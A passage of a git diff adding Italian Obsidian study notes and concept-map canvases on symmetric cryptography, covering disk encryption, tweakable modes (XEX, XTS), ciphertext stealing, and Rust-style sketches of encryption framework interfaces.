+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"e15f0b9bd687a536","x":400,"y":750,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md","id":"60297ab282ec6b30","x":880,"y":897,"width":400,"height":97,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md","id":"c7ebc41af24101b9","x":880,"y":600,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"8c90a1b954cb13f4","x":1860,"y":1650,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"4a1bacba548c04e9","x":1860,"y":1980,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md","id":"e3def559232ba80a","x":2340,"y":1600,"width":400,"height":150,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md","id":"1f5b790779272940","x":2340,"y":1797,"width":400,"height":97,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"2cab6ef1e40a0c74","x":2806,"y":1700,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md","id":"cc21c51ec048acda","x":2340,"y":1500,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"2c1a2a458acc8ab4","x":2806,"y":1820,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ce3eea201d2674b2","x":2806,"y":1930,"width":400,"height":150,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"899f38a47ca505a4","x":2806,"y":2140,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"d845ecb8f5d293ea","x":2806,"y":2260,"width":400,"height":50,"color":"4"}
+	],
+	"edges":[
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"77fc1646884a9671","fromNode":"f6a5be7e48515ae7","fromSide":"bottom","toNode":"411a62c1b05c6caa","toSide":"top","color":"3"},
+		{"id":"1c6cd38ebbbb88b2","fromNode":"411a62c1b05c6caa","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"},
+		{"id":"aedc4a8a2c87714f","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"b61d852583945766","toSide":"top","color":"2"},
+		{"id":"3b07e920af13455e","fromNode":"b61d852583945766","fromSide":"bottom","toNode":"e5cbf46b321559ad","toSide":"top","color":"4"},
+		{"id":"f53668f10c90e5d1","fromNode":"40dbaa7421848f22","fromSide":"right","toNode":"f0ecb674142674d0","toSide":"left","color":"6"},
+		{"id":"6529f0a5c21249f1","fromNode":"c2c02fc671154138","fromSide":"bottom","toNode":"f0ecb674142674d0","toSide":"top","color":"2"},
+		{"id":"4b5a55c66e1bf00d","fromNode":"9e529cc3a9ad8e08","fromSide":"right","toNode":"411a62c1b05c6caa","toSide":"left","color":"2"},
+		{"id":"f1751da07a525761","fromNode":"f0ecb674142674d0","fromSide":"bottom","toNode":"9e529cc3a9ad8e08","toSide":"top","color":"2"},
+		{"id":"c8cb8c70fc03725d","fromNode":"0afa7aa4f0dbd41c","fromSide":"bottom","toNode":"5fe48e47c08b8076","toSide":"top","color":"2"},
+		{"id":"5d0ab3230ffb084a","fromNode":"42d75aed925594a3","fromSide":"right","toNode":"0afa7aa4f0dbd41c","toSide":"left","color":"6"},
+		{"id":"419d200404ea791e","fromNode":"92b5b0d4602237e0","fromSide":"bottom","toNode":"0afa7aa4f0dbd41c","toSide":"top","color":"2"},
+		{"id":"6a38986e99ef92e5","fromNode":"3238bb0eb2c64ff1","fromSide":"bottom","toNode":"92b5b0d4602237e0","toSide":"top","color":"3"},
+		{"id":"117465adbd0e9a98","fromNode":"5fe48e47c08b8076","fromSide":"bottom","toNode":"abc8899dbe0bbf64","toSide":"top","color":"4"},
+		{"id":"8152ed747e7116ac","fromNode":"60297ab282ec6b30","fromSide":"right","toNode":"92b5b0d4602237e0","toSide":"left","color":"2"},
+		{"id":"5dc7a65407f2997d","fromNode":"0fc345a654da3d6c","fromSide":"bottom","toNode":"60297ab282ec6b30","toSide":"top","color":"2"},
+		{"id":"7e630fa91497bfdb","fromNode":"e15f0b9bd687a536","fromSide":"right","toNode":"0fc345a654da3d6c","toSide":"left","color":"6"},
+		{"id":"d03d326f11490be6","fromNode":"c7ebc41af24101b9","fromSide":"bottom","toNode":"0fc345a654da3d6c","toSide":"top","color":"2"},
+		{"id":"7f9874bfac6a943d","fromNode":"2c1a2a458acc8ab4","fromSide":"bottom","toNode":"ce3eea201d2674b2","toSide":"top","color":"2"},
+		{"id":"edd61f5af66bde64","fromNode":"2cab6ef1e40a0c74","fromSide":"bottom","toNode":"2c1a2a458acc8ab4","toSide":"top","color":"3"},
+		{"id":"cf19404781d14d24","fromNode":"1f5b790779272940","fromSide":"right","toNode":"2c1a2a458acc8ab4","toSide":"left","color":"2"},
+		{"id":"3dcdc72880e0498c","fromNode":"ce3eea201d2674b2","fromSide":"bottom","toNode":"899f38a47ca505a4","toSide":"top","color":"2"},
+		{"id":"1bf698a28a534d62","fromNode":"4a1bacba548c04e9","fromSide":"right","toNode":"ce3eea201d2674b2","toSide":"left","color":"6"},
+		{"id":"389f6c054245fc82","fromNode":"899f38a47ca505a4","fromSide":"bottom","toNode":"d845ecb8f5d293ea","toSide":"top","color":"4"},
+		{"id":"8136e75183eafad3","fromNode":"e3def559232ba80a","fromSide":"bottom","toNode":"1f5b790779272940","toSide":"top","color":"2"},
+		{"id":"4f72b624f6cc41b4","fromNode":"8c90a1b954cb13f4","fromSide":"right","toNode":"e3def559232ba80a","toSide":"left","color":"6"},
+		{"id":"b64bebd0c9cb9858","fromNode":"cc21c51ec048acda","fromSide":"bottom","toNode":"e3def559232ba80a","toSide":"top","color":"2"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.md
new file mode 100644
index 0000000..55a1b0c
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["XEX"]
+---
+
+[[tweakable operation mode di un cifrario a blocchi]] che che applica il [[tweak]] effettuando uno [[XOR]] sul [[plaintext]] in entrata e sul [[ciphertext]] in uscita.
+
+## Diagramma
+
+![[XOR-encrypt-XOR operation mode.canvas]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR with ciphertext stealing.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR with ciphertext stealing.md
new file mode 100644
index 0000000..3895d0b
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR with ciphertext stealing.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["XTS"]
+---
+
+[[tweakable operation mode di un cifrario a blocchi]] derivato dal [[XOR-encrypt-XOR operation mode]] che in aggiunta effettua [[ciphertext stealing]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/ciphertext stealing.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/ciphertext stealing.md
new file mode 100644
index 0000000..e839810
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/ciphertext stealing.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["CTS"]
+---
+
+Tecnica utilizzata negli [[operation mode di un cifrario a blocchi]] per prevenire [[padding oracle attack]].
+
+Sostituisce al [[padding]] una parte del penultimo [[blocco]] e successivamente scambia le posizioni dell'ultimo e penultimo [[blocco]] di [[ciphertext]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption protocol.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption protocol.md
new file mode 100644
index 0000000..d2a69fa
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption protocol.md	
@@ -0,0 +1,3 @@
+[[funzione ideale]] [[funzione di cifratura|di cifratura]] per problemi di [[disk encryption]].
+
+Opera su [[blocco|blocchi]] come un [[cifrario a blocchi]], ma mantenendoli indipendenti, non-[[malleabilità|malleabili]] e [[casualità crittografica|casuali]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption.md
new file mode 100644
index 0000000..22136d3
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption.md	
@@ -0,0 +1,3 @@
+[[problema]] di [[crittografia simmetrica moderna]] che vuole proteggere [[plaintext|dati salvati su un dispositivo di archiviazione]] da attaccanti [[non-adaptive chosen-ciphertext attacker]] **facendo in modo che il [[ciphertext]] abbia la stessa lunghezza del [[plaintext]]**.
+
+Non si propone di rilevare modifiche al [[ciphertext]], ma solo di mantenere l'[[indistinguibilità]], in quanto la [[verifica dell'integrità]] è delegata al [[filesystem]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/narrow-block encryption.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/narrow-block encryption.md
new file mode 100644
index 0000000..25561d6
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/narrow-block encryption.md	
@@ -0,0 +1 @@
+Caratteristica di un [[cifrario a blocchi]] di poter lavorare solo con [[plaintext]] dalla stessa dimensione del [[blocco]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/super pseudo-random permutation.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/super pseudo-random permutation.md
new file mode 100644
index 0000000..45c38fa
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/super pseudo-random permutation.md	
@@ -0,0 +1,8 @@
+---
+aliases: ["SPRP"]
+---
+
+[[funzione ideale]] che:
+
+- prende in input una [[keyed family of pseudo-random permutations]] di dimensione fissa
+- dà in output una [[keyed family of pseudo-random permutations]] di una dimensione arbitraria
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md
new file mode 100644
index 0000000..1425d04
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md	
@@ -0,0 +1,3 @@
+[[dato]] simile al [[nonce]] e all'[[initialization vector]] usato nei [[disk encryption protocol]], originato da un'informazione fisica [[staticità|statica]] del disco stesso.
+
+La sua [[staticità]] lo rende un dato [[determinismo|deterministico]], aprendo la strada ad debolezze simili al [[riutilizzo di nonce]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweakable operation mode di un cifrario a blocchi.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweakable operation mode di un cifrario a blocchi.md
new file mode 100644
index 0000000..6e8b05a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweakable operation mode di un cifrario a blocchi.md	
@@ -0,0 +1,5 @@
+[[operation mode di un cifrario a blocchi]] che non fa uso di nonce o initialization vector, ma usa invece [[tweak]].
+
+## Casi d'uso
+
+Realizzazione di [[disk encryption protocol]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/wide-block encryption.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/wide-block encryption.md
new file mode 100644
index 0000000..9362b38
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/wide-block encryption.md	
@@ -0,0 +1,3 @@
+Caratteristica di un [[cifrario a blocchi]] di poter lavorare con [[plaintext]] di qualsiasi dimensione.
+
+Le [[funzione|funzioni]] wide-block creano un [[cifrario a blocchi]] della dimensione desiderata da un altro [[cifrario a blocchi]] a dimensione fissa.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/★ mappa concettuale.canvas
new file mode 100644
index 0000000..cd1f896
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/★ mappa concettuale.canvas	
@@ -0,0 +1,38 @@
+{
+	"nodes":[
+		{"type":"group","id":"a1bce457ea339a32","x":340,"y":1380,"width":3240,"height":1000,"color":"6","label":"Wide-block encryption"},
+		{"type":"group","id":"2f6f257aa9b72ece","x":340,"y":260,"width":3240,"height":1000,"color":"6","label":"Narrow-block encryption"},
+		{"type":"group","id":"76ae76d4e27c59b4","x":-780,"y":-340,"width":440,"height":520,"color":"1","label":"Attacco"},
+		{"type":"group","id":"b2a452aaeadc526f","x":340,"y":-340,"width":440,"height":520,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption.md","id":"cd8fe535338a25f5","x":-200,"y":-280,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/disk encryption protocol.md","id":"9f474848063aed99","x":-200,"y":280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/non-adaptive chosen-ciphertext attacker.md","id":"902f27014d3ad17b","x":-760,"y":-320,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md","id":"0cbf77db0d75c615","x":360,"y":-320,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md","id":"d72c16a07ee4a654","x":-760,"y":280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweakable operation mode di un cifrario a blocchi.md","id":"ffd4d1803cad7bdf","x":-480,"y":840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.md","id":"ae1a45e810587897","x":920,"y":280,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR with ciphertext stealing.md","id":"906b5d92b82b02f6","x":2040,"y":280,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/ciphertext stealing.md","id":"4411e67eac7d01cb","x":3160,"y":560,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/narrow-block encryption.md","id":"7f1a16e96d1fef44","x":360,"y":840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/wide-block encryption.md","id":"527be2cc35e3b724","x":360,"y":1400,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/super pseudo-random permutation.md","id":"41e1bdf09e8b393a","x":360,"y":1960,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/Adiantum.md","id":"c8a72bcae06355f8","x":920,"y":1400,"width":400,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/HCTR2.md","id":"1139402a19bb9644","x":920,"y":1960,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"cd88778d3403de08","fromNode":"cd8fe535338a25f5","fromSide":"left","toNode":"902f27014d3ad17b","toSide":"right","toEnd":"none"},
+		{"id":"f714da4d7155d3ab","fromNode":"cd8fe535338a25f5","fromSide":"right","toNode":"0cbf77db0d75c615","toSide":"left","toEnd":"none"},
+		{"id":"fc02b8c58f3b4919","fromNode":"cd8fe535338a25f5","fromSide":"bottom","toNode":"9f474848063aed99","toSide":"top","toEnd":"none"},
+		{"id":"a1a64e64355d1881","fromNode":"527be2cc35e3b724","fromSide":"bottom","toNode":"41e1bdf09e8b393a","toSide":"top","toEnd":"none"},
+		{"id":"fc4ab71911270588","fromNode":"9f474848063aed99","fromSide":"left","toNode":"d72c16a07ee4a654","toSide":"right","toEnd":"none"},
+		{"id":"ff46f089057664a9","fromNode":"d72c16a07ee4a654","fromSide":"bottom","toNode":"ffd4d1803cad7bdf","toSide":"top","toEnd":"none"},
+		{"id":"e33e0eda49dedf36","fromNode":"9f474848063aed99","fromSide":"bottom","toNode":"ffd4d1803cad7bdf","toSide":"top","toEnd":"none"},
+		{"id":"fd9ffbe900f36550","fromNode":"ffd4d1803cad7bdf","fromSide":"right","toNode":"7f1a16e96d1fef44","toSide":"left","toEnd":"none"},
+		{"id":"e5096341254c8ab0","fromNode":"ffd4d1803cad7bdf","fromSide":"right","toNode":"527be2cc35e3b724","toSide":"left","toEnd":"none"},
+		{"id":"d519f87b09c6e3fc","fromNode":"7f1a16e96d1fef44","fromSide":"right","toNode":"ae1a45e810587897","toSide":"left","toEnd":"none"},
+		{"id":"482e153c09c24ece","fromNode":"ae1a45e810587897","fromSide":"right","toNode":"906b5d92b82b02f6","toSide":"left","toEnd":"none"},
+		{"id":"5242a8316a5ac8f8","fromNode":"906b5d92b82b02f6","fromSide":"right","toNode":"4411e67eac7d01cb","toSide":"left","toEnd":"none"},
+		{"id":"33ccdb39794c5b6f","fromNode":"527be2cc35e3b724","fromSide":"right","toNode":"c8a72bcae06355f8","toSide":"left","toEnd":"none","color":"4"},
+		{"id":"45c86e29d9a753f1","fromNode":"527be2cc35e3b724","fromSide":"right","toNode":"1139402a19bb9644","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/authenticated encryption with associated data.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/authenticated encryption with associated data.md
new file mode 100644
index 0000000..ef5ac3a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/authenticated encryption with associated data.md	
@@ -0,0 +1,14 @@
+---
+aliases: ["AEAD"]
+---
+
+[[operation framework]] per [[crittografia simmetrica autenticata]] che permette di [[autenticazione|autenticare]] dati aggiuntivi oltre al [[plaintext]].
+
+Prevede i seguenti metodi:
+```rust
+trait AuthenticatedEncryptorWithAssociatedData<const KEY_SIZE, Data> {
+	fn keygen() -> [u8; KEY_SIZE];
+	fn encrypt(key: &[u8; KEY_SIZE], plaintext: Iterator<u8>, data: Data) -> Iterator<u8>;
+	fn decrypt(key: &[u8; KEY_SIZE], ciphertext: Iterator<u8>, data: Data) -> Iterator<u8>;
+}
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/deterministic authenticated encryption with associated data.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/deterministic authenticated encryption with associated data.md
new file mode 100644
index 0000000..0a6244c
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/deterministic authenticated encryption with associated data.md	
@@ -0,0 +1,14 @@
+---
+aliases: ["DAEAD"]
+---
+
+[[authenticated encryption with associated data]] in un [[operation framework deterministico]].
+
+Prevede i seguenti metodi:
+```rust
+trait AuthenticatedEncryptorWithAssociatedData<const KEY_SIZE, Data> {
+	fn keygen() -> [u8; KEY_SIZE];
+	fn encrypt(key: &[u8; KEY_SIZE], nonce: usize, plaintext: Iterator<u8>, data: Data) -> Iterator<u8>;
+	fn decrypt(key: &[u8; KEY_SIZE], nonce: usize, ciphertext: Iterator<u8>, data: Data) -> Iterator<u8>;
+}
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a blocchi con initialization vector.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a blocchi con initialization vector.md
new file mode 100644
index 0000000..029092a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a blocchi con initialization vector.md	
@@ -0,0 +1,11 @@
+[[operation framework deterministico]] per [[crittografia simmetrica]] con [[initialization vector]] (come un [[cifrario a blocchi]] in [[cipher block chaining operation mode]]).
+
+Prevede i seguenti metodi:
+
+```rust
+trait EncryptorBlockByBlockWithInitializationVector<const BLOCK_SIZE, const KEY_SIZE> {
+	fn keygen() -> [u8; KEY_SIZE];
+	fn encrypt(key: &[u8; KEY_SIZE], iv: [u8; BLOCK_SIZE], plaintext: [u8; BLOCK_SIZE]) -> [u8; BLOCK_SIZE];
+	fn decrypt(key: &[u8; KEY_SIZE], iv: [u8; BLOCK_SIZE], ciphertext: [u8; BLOCK_SIZE]) -> [u8; BLOCK_SIZE];
+}
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a flusso con nonce.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a flusso con nonce.md
new file mode 100644
index 0000000..6e85d88
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a flusso con nonce.md	
@@ -0,0 +1,10 @@
+[[operation framework deterministico]] per [[crittografia simmetrica]] con [[nonce]] (come un [[cifrario a flusso]]).
+
+Prevede i seguenti metodi:
+```rust
+trait EncryptorStreamBasedWithNonce<const KEY_SIZE> {
+	fn keygen() -> [u8; KEY_SIZE];
+	fn encrypt(key: &[u8; KEY_SIZE], nonce: usize, plaintext: Iterator<u8>) -> Iterator<u8>;
+	fn decrypt(key: &[u8; KEY_SIZE], nonce: usize, ciphertext: Iterator<u8>) -> Iterator<u8>;
+}
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico.md
new file mode 100644
index 0000000..32eb2fb
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico.md	
@@ -0,0 +1 @@
+[[operation framework]] le cui funzioni rispondono agli stessi input con gli stessi output.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico per la crittografia simmetrica.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico per la crittografia simmetrica.md
new file mode 100644
index 0000000..94d25f0
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico per la crittografia simmetrica.md	
@@ -0,0 +1,13 @@
+[[operation framework probabilistico]] per [[crittografia simmetrica]] che astrae i meccanismi crittografici dall'utilizzatore per maggiore semplicità.
+
+Prevede i seguenti metodi:
+
+```rust
+trait EncryptorBlockByBlockWithInitializationVector<const BLOCK_SIZE, const KEY_SIZE> {
+	fn keygen() -> [u8; KEY_SIZE];
+	
+	fn encrypt(key: &[u8; KEY_SIZE], plaintext: Vec<u8>) -> Vec<u8>;
+
+	fn decrypt(key: &[u8; KEY_SIZE], ciphertext: Vec<u8>) -> Vec<u8>;
+}
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico.md
new file mode 100644
index 0000000..135c67d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico.md	
@@ -0,0 +1 @@
+[[operation framework]] le cui funzioni rispondono agli stessi input con output diversi.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework.md
new file mode 100644
index 0000000..9a10226
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework.md	
@@ -0,0 +1 @@
+Interfaccia di programmazione ad alto livello per [[funzione|funzioni]] di [[crittografia]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/★ mappa concettuale.canvas
new file mode 100644
index 0000000..a18579d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/★ mappa concettuale.canvas	
@@ -0,0 +1,28 @@
+{
+	"nodes":[
+		{"type":"group","id":"9e5fbc286eb5e35a","x":340,"y":300,"width":2040,"height":1560,"color":"6","label":"Operation framework deterministico"},
+		{"type":"group","id":"889a95126b161e04","x":340,"y":1980,"width":2040,"height":1000,"color":"6","label":"Operation framework probabilistico"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a flusso con nonce.md","id":"7760739a84a371db","x":920,"y":320,"width":880,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico per crittografia simmetrica a blocchi con initialization vector.md","id":"c0ae505db204e894","x":920,"y":880,"width":880,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a blocchi.md","id":"5fe4a2d4ceebb70a","x":1960,"y":495,"width":400,"height":50},
